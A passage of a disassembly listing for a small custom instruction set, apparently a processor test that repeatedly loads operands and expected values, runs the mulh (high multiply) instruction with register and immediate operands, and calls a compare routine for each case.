d850: 00 60 01 10 mulh r8,r16
d854: 20 70 03 e2 movepc rret,8
d858: 14 30 c9 ee br 10 <compare>,#al
d85c: 00 10 00 41 add r2,1
d860: 0d 42 11 1c wl16 r8,0x109c
d864: 0d 60 01 03 wh16 r8,0x3
d868: 10 40 01 08 ld32 r8,r8
d86c: 0d 44 32 18 wl16 r16,0x2198
d870: 0d 60 02 03 wh16 r16,0x3
d874: 10 40 02 10 ld32 r16,r16
d878: 0d 46 51 34 wl16 r9,0x3294
d87c: 0d 60 01 23 wh16 r9,0x3
d880: 10 40 01 29 ld32 r9,r9
d884: 00 60 01 10 mulh r8,r16
d888: 20 70 03 e2 movepc rret,8
d88c: 14 30 c9 e1 br 10 <compare>,#al
d890: 00 10 00 41 add r2,1
d894: 0d 42 15 00 wl16 r8,0x10a0
d898: 0d 60 01 03 wh16 r8,0x3
d89c: 10 40 01 08 ld32 r8,r8
d8a0: 0d 44 32 1c wl16 r16,0x219c
d8a4: 0d 60 02 03 wh16 r16,0x3
d8a8: 10 40 02 10 ld32 r16,r16
d8ac: 0d 46 51 38 wl16 r9,0x3298
d8b0: 0d 60 01 23 wh16 r9,0x3
d8b4: 10 40 01 29 ld32 r9,r9
d8b8: 00 60 01 10 mulh r8,r16
d8bc: 20 70 03 e2 movepc rret,8
d8c0: 14 30 c9 d4 br 10 <compare>,#al
d8c4: 00 10 00 41 add r2,1
d8c8: 0d 42 15 04 wl16 r8,0x10a4
d8cc: 0d 60 01 03 wh16 r8,0x3
d8d0: 10 40 01 08 ld32 r8,r8
d8d4: 0d 44 36 00 wl16 r16,0x21a0
d8d8: 0d 60 02 03 wh16 r16,0x3
d8dc: 10 40 02 10 ld32 r16,r16
d8e0: 0d 46 51 3c wl16 r9,0x329c
d8e4: 0d 60 01 23 wh16 r9,0x3
d8e8: 10 40 01 29 ld32 r9,r9
d8ec: 00 60 01 10 mulh r8,r16
d8f0: 20 70 03 e2 movepc rret,8
d8f4: 14 30 c9 c7 br 10 <compare>,#al
d8f8: 00 10 00 41 add r2,1
d8fc: 0d 42 15 08 wl16 r8,0x10a8
d900: 0d 60 01 03 wh16 r8,0x3
d904: 10 40 01 08 ld32 r8,r8
d908: 0d 44 36 04 wl16 r16,0x21a4
d90c: 0d 60 02 03 wh16 r16,0x3
d910: 10 40 02 10 ld32 r16,r16
d914: 0d 46 55 20 wl16 r9,0x32a0
d918: 0d 60 01 23 wh16 r9,0x3
d91c: 10 40 01 29 ld32 r9,r9
d920: 00 60 01 10 mulh r8,r16
d924: 20 70 03 e2 movepc rret,8
d928: 14 30 c9 ba br 10 <compare>,#al
d92c: 00 10 00 41 add r2,1
d930: 0d 42 15 0c wl16 r8,0x10ac
d934: 0d 60 01 03 wh16 r8,0x3
d938: 10 40 01 08 ld32 r8,r8
d93c: 0d 44 36 08 wl16 r16,0x21a8
d940: 0d 60 02 03 wh16 r16,0x3
d944: 10 40 02 10 ld32 r16,r16
d948: 0d 46 55 24 wl16 r9,0x32a4
d94c: 0d 60 01 23 wh16 r9,0x3
d950: 10 40 01 29 ld32 r9,r9
d954: 00 60 01 10 mulh r8,r16
d958: 20 70 03 e2 movepc rret,8
d95c: 14 30 c9 ad br 10 <compare>,#al
d960: 00 10 00 41 add r2,1
d964: 0d 42 15 10 wl16 r8,0x10b0
d968: 0d 60 01 03 wh16 r8,0x3
d96c: 10 40 01 08 ld32 r8,r8
d970: 0d 44 36 0c wl16 r16,0x21ac
d974: 0d 60 02 03 wh16 r16,0x3
d978: 10 40 02 10 ld32 r16,r16
d97c: 0d 46 55 28 wl16 r9,0x32a8
d980: 0d 60 01 23 wh16 r9,0x3
d984: 10 40 01 29 ld32 r9,r9
d988: 00 60 01 10 mulh r8,r16
d98c: 20 70 03 e2 movepc rret,8
d990: 14 30 c9 a0 br 10 <compare>,#al
d994: 00 10 00 41 add r2,1
d998: 0d 42 15 14 wl16 r8,0x10b4
d99c: 0d 60 01 03 wh16 r8,0x3
d9a0: 10 40 01 08 ld32 r8,r8
d9a4: 0d 44 36 10 wl16 r16,0x21b0
d9a8: 0d 60 02 03 wh16 r16,0x3
d9ac: 10 40 02 10 ld32 r16,r16
d9b0: 0d 46 55 2c wl16 r9,0x32ac
d9b4: 0d 60 01 23 wh16 r9,0x3
d9b8: 10 40 01 29 ld32 r9,r9
d9bc: 00 60 01 10 mulh r8,r16
d9c0: 20 70 03 e2 movepc rret,8
d9c4: 14 30 c9 93 br 10 <compare>,#al
d9c8: 00 10 00 41 add r2,1
d9cc: 0d 42 15 18 wl16 r8,0x10b8
d9d0: 0d 60 01 03 wh16 r8,0x3
d9d4: 10 40 01 08 ld32 r8,r8
d9d8: 0d 44 36 14 wl16 r16,0x21b4
d9dc: 0d 60 02 03 wh16 r16,0x3
d9e0: 10 40 02 10 ld32 r16,r16
d9e4: 0d 46 55 30 wl16 r9,0x32b0
d9e8: 0d 60 01 23 wh16 r9,0x3
d9ec: 10 40 01 29 ld32 r9,r9
d9f0: 00 60 01 10 mulh r8,r16
d9f4: 20 70 03 e2 movepc rret,8
d9f8: 14 30 c9 86 br 10 <compare>,#al
d9fc: 00 10 00 41 add r2,1
da00: 0d 42 15 1c wl16 r8,0x10bc
da04: 0d 60 01 03 wh16 r8,0x3
da08: 10 40 01 08 ld32 r8,r8
da0c: 0d 44 36 18 wl16 r16,0x21b8
da10: 0d 60 02 03 wh16 r16,0x3
da14: 10 40 02 10 ld32 r16,r16
da18: 0d 46 55 34 wl16 r9,0x32b4
da1c: 0d 60 01 23 wh16 r9,0x3
da20: 10 40 01 29 ld32 r9,r9
da24: 00 60 01 10 mulh r8,r16
da28: 20 70 03 e2 movepc rret,8
da2c: 14 30 c9 79 br 10 <compare>,#al
da30: 00 10 00 41 add r2,1
da34: 0d 42 19 00 wl16 r8,0x10c0
da38: 0d 60 01 03 wh16 r8,0x3
da3c: 10 40 01 08 ld32 r8,r8
da40: 0d 44 36 1c wl16 r16,0x21bc
da44: 0d 60 02 03 wh16 r16,0x3
da48: 10 40 02 10 ld32 r16,r16
da4c: 0d 46 55 38 wl16 r9,0x32b8
da50: 0d 60 01 23 wh16 r9,0x3
da54: 10 40 01 29 ld32 r9,r9
da58: 00 60 01 10 mulh r8,r16
da5c: 20 70 03 e2 movepc rret,8
da60: 14 30 c9 6c br 10 <compare>,#al
da64: 00 10 00 41 add r2,1
da68: 0d 42 19 04 wl16 r8,0x10c4
da6c: 0d 60 01 03 wh16 r8,0x3
da70: 10 40 01 08 ld32 r8,r8
da74: 0d 44 3a 00 wl16 r16,0x21c0
da78: 0d 60 02 03 wh16 r16,0x3
da7c: 10 40 02 10 ld32 r16,r16
da80: 0d 46 55 3c wl16 r9,0x32bc
da84: 0d 60 01 23 wh16 r9,0x3
da88: 10 40 01 29 ld32 r9,r9
da8c: 00 60 01 10 mulh r8,r16
da90: 20 70 03 e2 movepc rret,8
da94: 14 30 c9 5f br 10 <compare>,#al
da98: 00 10 00 41 add r2,1
da9c: 0d 42 19 08 wl16 r8,0x10c8
daa0: 0d 60 01 03 wh16 r8,0x3
daa4: 10 40 01 08 ld32 r8,r8
daa8: 0d 44 3a 04 wl16 r16,0x21c4
daac: 0d 60 02 03 wh16 r16,0x3
dab0: 10 40 02 10 ld32 r16,r16
dab4: 0d 46 59 20 wl16 r9,0x32c0
dab8: 0d 60 01 23 wh16 r9,0x3
dabc: 10 40 01 29 ld32 r9,r9
dac0: 00 60 01 10 mulh r8,r16
dac4: 20 70 03 e2 movepc rret,8
dac8: 14 30 c9 52 br 10 <compare>,#al
dacc: 00 10 00 41 add r2,1
dad0: 0d 42 19 0c wl16 r8,0x10cc
dad4: 0d 60 01 03 wh16 r8,0x3
dad8: 10 40 01 08 ld32 r8,r8
dadc: 0d 44 3a 08 wl16 r16,0x21c8
dae0: 0d 60 02 03 wh16 r16,0x3
dae4: 10 40 02 10 ld32 r16,r16
dae8: 0d 46 59 24 wl16 r9,0x32c4
daec: 0d 60 01 23 wh16 r9,0x3
daf0: 10 40 01 29 ld32 r9,r9
daf4: 00 60 01 10 mulh r8,r16
daf8: 20 70 03 e2 movepc rret,8
dafc: 14 30 c9 45 br 10 <compare>,#al
db00: 00 10 00 41 add r2,1
db04: 0d 42 19 10 wl16 r8,0x10d0
db08: 0d 60 01 03 wh16 r8,0x3
db0c: 10 40 01 08 ld32 r8,r8
db10: 0d 44 3a 0c wl16 r16,0x21cc
db14: 0d 60 02 03 wh16 r16,0x3
db18: 10 40 02 10 ld32 r16,r16
db1c: 0d 46 59 28 wl16 r9,0x32c8
db20: 0d 60 01 23 wh16 r9,0x3
db24: 10 40 01 29 ld32 r9,r9
db28: 00 60 01 10 mulh r8,r16
db2c: 20 70 03 e2 movepc rret,8
db30: 14 30 c9 38 br 10 <compare>,#al
db34: 00 10 00 41 add r2,1
db38: 0d 42 19 14 wl16 r8,0x10d4
db3c: 0d 60 01 03 wh16 r8,0x3
db40: 10 40 01 08 ld32 r8,r8
db44: 0d 44 3a 10 wl16 r16,0x21d0
db48: 0d 60 02 03 wh16 r16,0x3
db4c: 10 40 02 10 ld32 r16,r16
db50: 0d 46 59 2c wl16 r9,0x32cc
db54: 0d 60 01 23 wh16 r9,0x3
db58: 10 40 01 29 ld32 r9,r9
db5c: 00 60 01 10 mulh r8,r16
db60: 20 70 03 e2 movepc rret,8
db64: 14 30 c9 2b br 10 <compare>,#al
db68: 00 10 00 41 add r2,1
db6c: 0d 42 19 18 wl16 r8,0x10d8
db70: 0d 60 01 03 wh16 r8,0x3
db74: 10 40 01 08 ld32 r8,r8
db78: 0d 44 3a 14 wl16 r16,0x21d4
db7c: 0d 60 02 03 wh16 r16,0x3
db80: 10 40 02 10 ld32 r16,r16
db84: 0d 46 59 30 wl16 r9,0x32d0
db88: 0d 60 01 23 wh16 r9,0x3
db8c: 10 40 01 29 ld32 r9,r9
db90: 00 60 01 10 mulh r8,r16
db94: 20 70 03 e2 movepc rret,8
db98: 14 30 c9 1e br 10 <compare>,#al
db9c: 00 10 00 41 add r2,1
dba0: 0d 42 19 1c wl16 r8,0x10dc
dba4: 0d 60 01 03 wh16 r8,0x3
dba8: 10 40 01 08 ld32 r8,r8
dbac: 0d 44 3a 18 wl16 r16,0x21d8
dbb0: 0d 60 02 03 wh16 r16,0x3
dbb4: 10 40 02 10 ld32 r16,r16
dbb8: 0d 46 59 34 wl16 r9,0x32d4
dbbc: 0d 60 01 23 wh16 r9,0x3
dbc0: 10 40 01 29 ld32 r9,r9
dbc4: 00 60 01 10 mulh r8,r16
dbc8: 20 70 03 e2 movepc rret,8
dbcc: 14 30 c9 11 br 10 <compare>,#al
dbd0: 00 10 00 41 add r2,1
dbd4: 0d 42 1d 00 wl16 r8,0x10e0
dbd8: 0d 60 01 03 wh16 r8,0x3
dbdc: 10 40 01 08 ld32 r8,r8
dbe0: 0d 44 3a 1c wl16 r16,0x21dc
dbe4: 0d 60 02 03 wh16 r16,0x3
dbe8: 10 40 02 10 ld32 r16,r16
dbec: 0d 46 59 38 wl16 r9,0x32d8
dbf0: 0d 60 01 23 wh16 r9,0x3
dbf4: 10 40 01 29 ld32 r9,r9
dbf8: 00 60 01 10 mulh r8,r16
dbfc: 20 70 03 e2 movepc rret,8
dc00: 14 30 c9 04 br 10 <compare>,#al
dc04: 00 10 00 41 add r2,1
dc08: 0d 42 1d 04 wl16 r8,0x10e4
dc0c: 0d 60 01 03 wh16 r8,0x3
dc10: 10 40 01 08 ld32 r8,r8
dc14: 0d 44 3e 00 wl16 r16,0x21e0
dc18: 0d 60 02 03 wh16 r16,0x3
dc1c: 10 40 02 10 ld32 r16,r16
dc20: 0d 46 59 3c wl16 r9,0x32dc
dc24: 0d 60 01 23 wh16 r9,0x3
dc28: 10 40 01 29 ld32 r9,r9
dc2c: 00 60 01 10 mulh r8,r16
dc30: 20 70 03 e2 movepc rret,8
dc34: 14 30 c8 f7 br 10 <compare>,#al
dc38: 00 10 00 41 add r2,1
dc3c: 0d 42 1d 08 wl16 r8,0x10e8
dc40: 0d 60 01 03 wh16 r8,0x3
dc44: 10 40 01 08 ld32 r8,r8
dc48: 0d 44 3e 04 wl16 r16,0x21e4
dc4c: 0d 60 02 03 wh16 r16,0x3
dc50: 10 40 02 10 ld32 r16,r16
dc54: 0d 46 5d 20 wl16 r9,0x32e0
dc58: 0d 60 01 23 wh16 r9,0x3
dc5c: 10 40 01 29 ld32 r9,r9
dc60: 00 60 01 10 mulh r8,r16
dc64: 20 70 03 e2 movepc rret,8
dc68: 14 30 c8 ea br 10 <compare>,#al
dc6c: 00 10 00 41 add r2,1
dc70: 0d 42 1d 0c wl16 r8,0x10ec
dc74: 0d 60 01 03 wh16 r8,0x3
dc78: 10 40 01 08 ld32 r8,r8
dc7c: 0d 44 3e 08 wl16 r16,0x21e8
dc80: 0d 60 02 03 wh16 r16,0x3
dc84: 10 40 02 10 ld32 r16,r16
dc88: 0d 46 5d 24 wl16 r9,0x32e4
dc8c: 0d 60 01 23 wh16 r9,0x3
dc90: 10 40 01 29 ld32 r9,r9
dc94: 00 60 01 10 mulh r8,r16
dc98: 20 70 03 e2 movepc rret,8
dc9c: 14 30 c8 dd br 10 <compare>,#al
dca0: 00 10 00 41 add r2,1
dca4: 0d 42 1d 10 wl16 r8,0x10f0
dca8: 0d 60 01 03 wh16 r8,0x3
dcac: 10 40 01 08 ld32 r8,r8
dcb0: 0d 44 3e 0c wl16 r16,0x21ec
dcb4: 0d 60 02 03 wh16 r16,0x3
dcb8: 10 40 02 10 ld32 r16,r16
dcbc: 0d 46 5d 28 wl16 r9,0x32e8
dcc0: 0d 60 01 23 wh16 r9,0x3
dcc4: 10 40 01 29 ld32 r9,r9
dcc8: 00 60 01 10 mulh r8,r16
dccc: 20 70 03 e2 movepc rret,8
dcd0: 14 30 c8 d0 br 10 <compare>,#al
dcd4: 00 10 00 41 add r2,1
dcd8: 0d 42 1d 14 wl16 r8,0x10f4
dcdc: 0d 60 01 03 wh16 r8,0x3
dce0: 10 40 01 08 ld32 r8,r8
dce4: 0d 44 3e 10 wl16 r16,0x21f0
dce8: 0d 60 02 03 wh16 r16,0x3
dcec: 10 40 02 10 ld32 r16,r16
dcf0: 0d 46 5d 2c wl16 r9,0x32ec
dcf4: 0d 60 01 23 wh16 r9,0x3
dcf8: 10 40 01 29 ld32 r9,r9
dcfc: 00 60 01 10 mulh r8,r16
dd00: 20 70 03 e2 movepc rret,8
dd04: 14 30 c8 c3 br 10 <compare>,#al
dd08: 00 10 00 41 add r2,1
dd0c: 0d 42 1d 18 wl16 r8,0x10f8
dd10: 0d 60 01 03 wh16 r8,0x3
dd14: 10 40 01 08 ld32 r8,r8
dd18: 0d 44 3e 14 wl16 r16,0x21f4
dd1c: 0d 60 02 03 wh16 r16,0x3
dd20: 10 40 02 10 ld32 r16,r16
dd24: 0d 46 5d 30 wl16 r9,0x32f0
dd28: 0d 60 01 23 wh16 r9,0x3
dd2c: 10 40 01 29 ld32 r9,r9
dd30: 00 60 01 10 mulh r8,r16
dd34: 20 70 03 e2 movepc rret,8
dd38: 14 30 c8 b6 br 10 <compare>,#al
dd3c: 00 10 00 41 add r2,1
dd40: 0c 40 00 42 xor r2,r2
dd44: 00 10 00 61 add r3,1
dd48: 0d 46 5d 14 wl16 r8,0x32f4
dd4c: 0d 60 01 03 wh16 r8,0x3
dd50: 10 40 01 08 ld32 r8,r8
dd54: 0d 46 a5 2c wl16 r9,0x352c
dd58: 0d 60 01 23 wh16 r9,0x3
dd5c: 10 40 01 29 ld32 r9,r9
dd60: 00 70 01 01 mulh r8,1
dd64: 20 70 03 e2 movepc rret,8
dd68: 14 30 c8 aa br 10 <compare>,#al
dd6c: 00 10 00 41 add r2,1
dd70: 0d 46 5d 18 wl16 r8,0x32f8
dd74: 0d 60 01 03 wh16 r8,0x3
dd78: 10 40 01 08 ld32 r8,r8
dd7c: 0d 46 a5 30 wl16 r9,0x3530
dd80: 0d 60 01 23 wh16 r9,0x3
dd84: 10 40 01 29 ld32 r9,r9
dd88: 00 70 01 02 mulh r8,2
dd8c: 20 70 03 e2 movepc rret,8
dd90: 14 30 c8 a0 br 10 <compare>,#al
dd94: 00 10 00 41 add r2,1
dd98: 0d 46 5d 1c wl16 r8,0x32fc
dd9c: 0d 60 01 03 wh16 r8,0x3
dda0: 10 40 01 08 ld32 r8,r8
dda4: 0d 46 a5 34 wl16 r9,0x3534
dda8: 0d 60 01 23 wh16 r9,0x3
ddac: 10 40 01 29 ld32 r9,r9
ddb0: 00 70 01 04 mulh r8,4
ddb4: 20 70 03 e2 movepc rret,8
ddb8: 14 30 c8 96 br 10 <compare>,#al
ddbc: 00 10 00 41 add r2,1
ddc0: 0d 46 61 00 wl16 r8,0x3300
ddc4: 0d 60 01 03 wh16 r8,0x3
ddc8: 10 40 01 08 ld32 r8,r8
ddcc: 0d 46 a5 38 wl16 r9,0x3538
ddd0: 0d 60 01 23 wh16 r9,0x3
ddd4: 10 40 01 29 ld32 r9,r9
ddd8: 00 70 01 08 mulh r8,8
dddc: 20 70 03 e2 movepc rret,8
dde0: 14 30 c8 8c br 10 <compare>,#al
dde4: 00 10 00 41 add r2,1
dde8: 0d 46 61 04 wl16 r8,0x3304
ddec: 0d 60 01 03 wh16 r8,0x3
ddf0: 10 40 01 08 ld32 r8,r8
ddf4: 0d 46 a5 3c wl16 r9,0x353c
ddf8: 0d 60 01 23 wh16 r9,0x3
ddfc: 10 40 01 29 ld32 r9,r9
de00: 00 70 01 10 mulh r8,16
de04: 20 70 03 e2 movepc rret,8
de08: 14 30 c8 82 br 10 <compare>,#al
de0c: 00 10 00 41 add r2,1
de10: 0d 46 61 08 wl16 r8,0x3308
de14: 0d 60 01 03 wh16 r8,0x3
de18: 10 40 01 08 ld32 r8,r8
de1c: 0d 46 a9 20 wl16 r9,0x3540
de20: 0d 60 01 23 wh16 r9,0x3
de24: 10 40 01 29 ld32 r9,r9
de28: 00 70 05 00 mulh r8,32
de2c: 20 70 03 e2 movepc rret,8
de30: 14 30 c8 78 br 10 <compare>,#al
de34: 00 10 00 41 add r2,1
de38: 0d 46 61 0c wl16 r8,0x330c
de3c: 0d 60 01 03 wh16 r8,0x3
de40: 10 40 01 08 ld32 r8,r8
de44: 0d 46 a9 24 wl16 r9,0x3544
de48: 0d 60 01 23 wh16 r9,0x3
de4c: 10 40 01 29 ld32 r9,r9
de50: 00 70 09 00 mulh r8,64
de54: 20 70 03 e2 movepc rret,8
de58: 14 30 c8 6e br 10 <compare>,#al
de5c: 00 10 00 41 add r2,1
de60: 0d 46 61 10 wl16 r8,0x3310
de64: 0d 60 01 03 wh16 r8,0x3
de68: 10 40 01 08 ld32 r8,r8
de6c: 0d 46 a9 28 wl16 r9,0x3548
de70: 0d 60 01 23 wh16 r9,0x3
de74: 10 40 01 29 ld32 r9,r9
de78: 00 70 11 00 mulh r8,128
de7c: 20 70 03 e2 movepc rret,8
de80: 14 30 c8 64 br 10 <compare>,#al
de84: 00 10 00 41 add r2,1
de88: 0d 46 61 14 wl16 r8,0x3314
de8c: 0d 60 01 03 wh16 r8,0x3
de90: 10 40 01 08 ld32 r8,r8
de94: 0d 46 a9 2c wl16 r9,0x354c
de98: 0d 60 01 23 wh16 r9,0x3
de9c: 10 40 01 29 ld32 r9,r9
dea0: 00 70 21 00 mulh r8,256
dea4: 20 70 03 e2 movepc rret,8
dea8: 14 30 c8 5a br 10 <compare>,#al
deac: 00 10 00 41 add r2,1
deb0: 0d 46 61 18 wl16 r8,0x3318
deb4: 0d 60 01 03 wh16 r8,0x3
deb8: 10 40 01 08 ld32 r8,r8
debc: 0d 46 a9 30 wl16 r9,0x3550
dec0: 0d 60 01 23 wh16 r9,0x3
dec4: 10 40 01 29 ld32 r9,r9
dec8: 00 70 41 00 mulh r8,512
decc: 20 70 03 e2 movepc rret,8
ded0: 14 30 c8 50 br 10 <compare>,#al
ded4: 00 10 00 41 add r2,1
ded8: 0d 46 61 1c wl16 r8,0x331c
dedc: 0d 60 01 03 wh16 r8,0x3
dee0: 10 40 01 08 ld32 r8,r8
dee4: 0d 46 a9 34 wl16 r9,0x3554
dee8: 0d 60 01 23 wh16 r9,0x3
deec: 10 40 01 29 ld32 r9,r9
def0: 00 70 81 00 mulh r8,-1024
def4: 20 70 03 e2 movepc rret,8
def8: 14 30 c8 46 br 10 <compare>,#al
defc: 00 10 00 41 add r2,1
df00: 0d 46 65 00 wl16 r8,0x3320
df04: 0d 60 01 03 wh16 r8,0x3
df08: 10 40 01 08 ld32 r8,r8
df0c: 0d 46 a9 38 wl16 r9,0x3558
df10: 0d 60 01 23 wh16 r9,0x3
df14: 10 40 01 29 ld32 r9,r9
df18: 00 70 01 01 mulh r8,1
df1c: 20 70 03 e2 movepc rret,8
df20: 14 30 c8 3c br 10 <compare>,#al
df24: 00 10 00 41 add r2,1
df28: 0d 46 65 04 wl16 r8,0x3324
df2c: 0d 60 01 03 wh16 r8,0x3
df30: 10 40 01 08 ld32 r8,r8
df34: 0d 46 a9 3c wl16 r9,0x355c
df38: 0d 60 01 23 wh16 r9,0x3
df3c: 10 40 01 29 ld32 r9,r9
df40: 00 70 01 02 mulh r8,2
df44: 20 70 03 e2 movepc rret,8
df48: 14 30 c8 32 br 10 <compare>,#al
df4c: 00 10 00 41 add r2,1
df50: 0d 46 65 08 wl16 r8,0x3328
df54: 0d 60 01 03 wh16 r8,0x3
df58: 10 40 01 08 ld32 r8,r8
df5c: 0d 46 ad 20 wl16 r9,0x3560
df60: 0d 60 01 23 wh16 r9,0x3
df64: 10 40 01 29 ld32 r9,r9
df68: 00 70 01 04 mulh r8,4
df6c: 20 70 03 e2 movepc rret,8
df70: 14 30 c8 28 br 10 <compare>,#al
df74: 00 10 00 41 add r2,1
df78: 0d 46 65 0c wl16 r8,0x332c
df7c: 0d 60 01 03 wh16 r8,0x3
df80: 10 40 01 08 ld32 r8,r8
df84: 0d 46 ad 24 wl16 r9,0x3564
df88: 0d 60 01 23 wh16 r9,0x3
df8c: 10 40 01 29 ld32 r9,r9
df90: 00 70 01 08 mulh r8,8
df94: 20 70 03 e2 movepc rret,8
df98: 14 30 c8 1e br 10 <compare>,#al
df9c: 00 10 00 41 add r2,1
dfa0: 0d 46 65 10 wl16 r8,0x3330
dfa4: 0d 60 01 03 wh16 r8,0x3
dfa8: 10 40 01 08 ld32 r8,r8
dfac: 0d 46 ad 28 wl16 r9,0x3568
dfb0: 0d 60 01 23 wh16 r9,0x3
dfb4: 10 40 01 29 ld32 r9,r9
dfb8: 00 70 01 10 mulh r8,16
dfbc: 20 70 03 e2 movepc rret,8
dfc0: 14 30 c8 14 br 10 <compare>,#al
dfc4: 00 10 00 41 add r2,1
dfc8: 0d 46 65 14 wl16 r8,0x3334
dfcc: 0d 60 01 03 wh16 r8,0x3
dfd0: 10 40 01 08 ld32 r8,r8
dfd4: 0d 46 ad 2c wl16 r9,0x356c
dfd8: 0d 60 01 23 wh16 r9,0x3
dfdc: 10 40 01 29 ld32 r9,r9
dfe0: 00 70 05 00 mulh r8,32
dfe4: 20 70 03 e2 movepc rret,8
dfe8: 14 30 c8 0a br 10 <compare>,#al
dfec: 00 10 00 41 add r2,1
dff0: 0d 46 65 18 wl16 r8,0x3338
dff4: 0d 60 01 03 wh16 r8,0x3
dff8: 10 40 01 08 ld32 r8,r8
dffc: 0d 46 ad 30 wl16 r9,0x3570
e000: 0d 60 01 23 wh16 r9,0x3
e004: 10 40 01 29 ld32 r9,r9
e008: 00 70 09 00 mulh r8,64
e00c: 20 70 03 e2 movepc rret,8
e010: 14 30 c8 00 br 10 <compare>,#al
e014: 00 10 00 41 add r2,1
e018: 0d 46 65 1c wl16 r8,0x333c
e01c: 0d 60 01 03 wh16 r8,0x3
e020: 10 40 01 08 ld32 r8,r8
e024: 0d 46 ad 34 wl16 r9,0x3574
e028: 0d 60 01 23 wh16 r9,0x3
e02c: 10 40 01 29 ld32 r9,r9
e030: 00 70 11 00 mulh r8,128
e034: 20 70 03 e2 movepc rret,8
e038: 14 30 c7 f6 br 10 <compare>,#al
e03c: 00 10 00 41 add r2,1
e040: 0d 46 69 00 wl16 r8,0x3340
e044: 0d 60 01 03 wh16 r8,0x3
e048: 10 40 01 08 ld32 r8,r8
e04c: 0d 46 ad 38 wl16 r9,0x3578
e050: 0d 60 01 23 wh16 r9,0x3
e054: 10 40 01 29 ld32 r9,r9
e058: 00 70 21 00 mulh r8,256
e05c: 20 70 03 e2 movepc rret,8
e060: 14 30 c7 ec br 10 <compare>,#al
e064: 00 10 00 41 add r2,1
e068: 0d 46 69 04 wl16 r8,0x3344
e06c: 0d 60 01 03 wh16 r8,0x3
e070: 10 40 01 08 ld32 r8,r8
e074: 0d 46 ad 3c wl16 r9,0x357c
e078: 0d 60 01 23 wh16 r9,0x3
e07c: 10 40 01 29 ld32 r9,r9
e080: 00 70 41 00 mulh r8,512
e084: 20 70 03 e2 movepc rret,8
e088: 14 30 c7 e2 br 10 <compare>,#al
e08c: 00 10 00 41 add r2,1
e090: 0d 46 69 08 wl16 r8,0x3348
e094: 0d 60 01 03 wh16 r8,0x3
e098: 10 40 01 08 ld32 r8,r8
e09c: 0d 46 b1 20 wl16 r9,0x3580
e0a0: 0d 60 01 23 wh16 r9,0x3
e0a4: 10 40 01 29 ld32 r9,r9
e0a8: 00 70 81 00 mulh r8,-1024
e0ac: 20 70 03 e2 movepc rret,8
e0b0: 14 30 c7 d8 br 10 <compare>,#al
e0b4: 00 10 00 41 add r2,1
e0b8: 0d 46 69 0c wl16 r8,0x334c
e0bc: 0d 60 01 03 wh16 r8,0x3
e0c0: 10 40 01 08 ld32 r8,r8
e0c4: 0d 46 b1 24 wl16 r9,0x3584
e0c8: 0d 60 01 23 wh16 r9,0x3
e0cc: 10 40 01 29 ld32 r9,r9
e0d0: 00 70 01 01 mulh r8,1
e0d4: 20 70 03 e2 movepc rret,8
e0d8: 14 30 c7 ce br 10 <compare>,#al
e0dc: 00 10 00 41 add r2,1
e0e0: 0d 46 69 10 wl16 r8,0x3350
e0e4: 0d 60 01 03 wh16 r8,0x3
e0e8: 10 40 01 08 ld32 r8,r8
e0ec: 0d 46 b1 28 wl16 r9,0x3588
e0f0: 0d 60 01 23 wh16 r9,0x3
e0f4: 10 40 01 29 ld32 r9,r9
e0f8: 00 70 01 02 mulh r8,2
e0fc: 20 70 03 e2 movepc rret,8
e100: 14 30 c7 c4 br 10 <compare>,#al
e104: 00 10 00 41 add r2,1
e108: 0d 46 69 14 wl16 r8,0x3354
e10c: 0d 60 01 03 wh16 r8,0x3
e110: 10 40 01 08 ld32 r8,r8
e114: 0d 46 b1 2c wl16 r9,0x358c
e118: 0d 60 01 23 wh16 r9,0x3
e11c: 10 40 01 29 ld32 r9,r9
e120: 00 70 01 04 mulh r8,4
e124: 20 70 03 e2 movepc rret,8
e128: 14 30 c7 ba br 10 <compare>,#al
e12c: 00 10 00 41 add r2,1
e130: 0d 46 69 18 wl16 r8,0x3358
e134: 0d 60 01 03 wh16 r8,0x3
e138: 10 40 01 08 ld32 r8,r8
e13c: 0d 46 b1 30 wl16 r9,0x3590
e140: 0d 60 01 23 wh16 r9,0x3
e144: 10 40 01 29 ld32 r9,r9
e148: 00 70 01 08 mulh r8,8
e14c: 20 70 03 e2 movepc rret,8
e150: 14 30 c7 b0 br 10 <compare>,#al
e154: 00 10 00 41 add r2,1
e158: 0d 46 69 1c wl16 r8,0x335c
e15c: 0d 60 01 03 wh16 r8,0x3
e160: 10 40 01 08 ld32 r8,r8
e164: 0d 46 b1 34 wl16 r9,0x3594
e168: 0d 60 01 23 wh16 r9,0x3
e16c: 10 40 01 29 ld32 r9,r9
e170: 00 70 01 10 mulh r8,16
e174: 20 70 03 e2 movepc rret,8
e178: 14 30 c7 a6 br 10 <compare>,#al
e17c: 00 10 00 41 add r2,1
e180: 0d 46 6d 00 wl16 r8,0x3360
e184: 0d 60 01 03 wh16 r8,0x3
e188: 10 40 01 08 ld32 r8,r8
e18c: 0d 46 b1 38 wl16 r9,0x3598
e190: 0d 60 01 23 wh16 r9,0x3
e194: 10 40 01 29 ld32 r9,r9
e198: 00 70 05 00 mulh r8,32
e19c: 20 70 03 e2 movepc rret,8
e1a0: 14 30 c7 9c br 10 <compare>,#al
e1a4: 00 10 00 41 add r2,1
e1a8: 0d 46 6d 04 wl16 r8,0x3364
e1ac: 0d 60 01 03 wh16 r8,0x3
e1b0: 10 40 01 08 ld32 r8,r8
e1b4: 0d 46 b1 3c wl16 r9,0x359c
e1b8: 0d 60 01 23 wh16 r9,0x3
e1bc: 10 40 01 29 ld32 r9,r9
e1c0: 00 70 09 00 mulh r8,64
e1c4: 20 70 03 e2 movepc rret,8
e1c8: 14 30 c7 92 br 10 <compare>,#al
e1cc: 00 10 00 41 add r2,1
e1d0: 0d 46 6d 08 wl16 r8,0x3368
e1d4: 0d 60 01 03 wh16 r8,0x3
e1d8: 10 40 01 08 ld32 r8,r8
e1dc: 0d 46 b5 20 wl16 r9,0x35a0
e1e0: 0d 60 01 23 wh16 r9,0x3
e1e4: 10 40 01 29 ld32 r9,r9
e1e8: 00 70 11 00 mulh r8,128
e1ec: 20 70 03 e2 movepc rret,8
e1f0: 14 30 c7 88 br 10 <compare>,#al
e1f4: 00 10 00 41 add r2,1
e1f8: 0d 46 6d 0c wl16 r8,0x336c
e1fc: 0d 60 01 03 wh16 r8,0x3
e200: 10 40 01 08 ld32 r8,r8
e204: 0d 46 b5 24 wl16 r9,0x35a4
e208: 0d 60 01 23 wh16 r9,0x3
e20c: 10 40 01 29 ld32 r9,r9
e210: 00 70 21 00 mulh r8,256
e214: 20 70 03 e2 movepc rret,8
e218: 14 30 c7 7e br 10 <compare>,#al
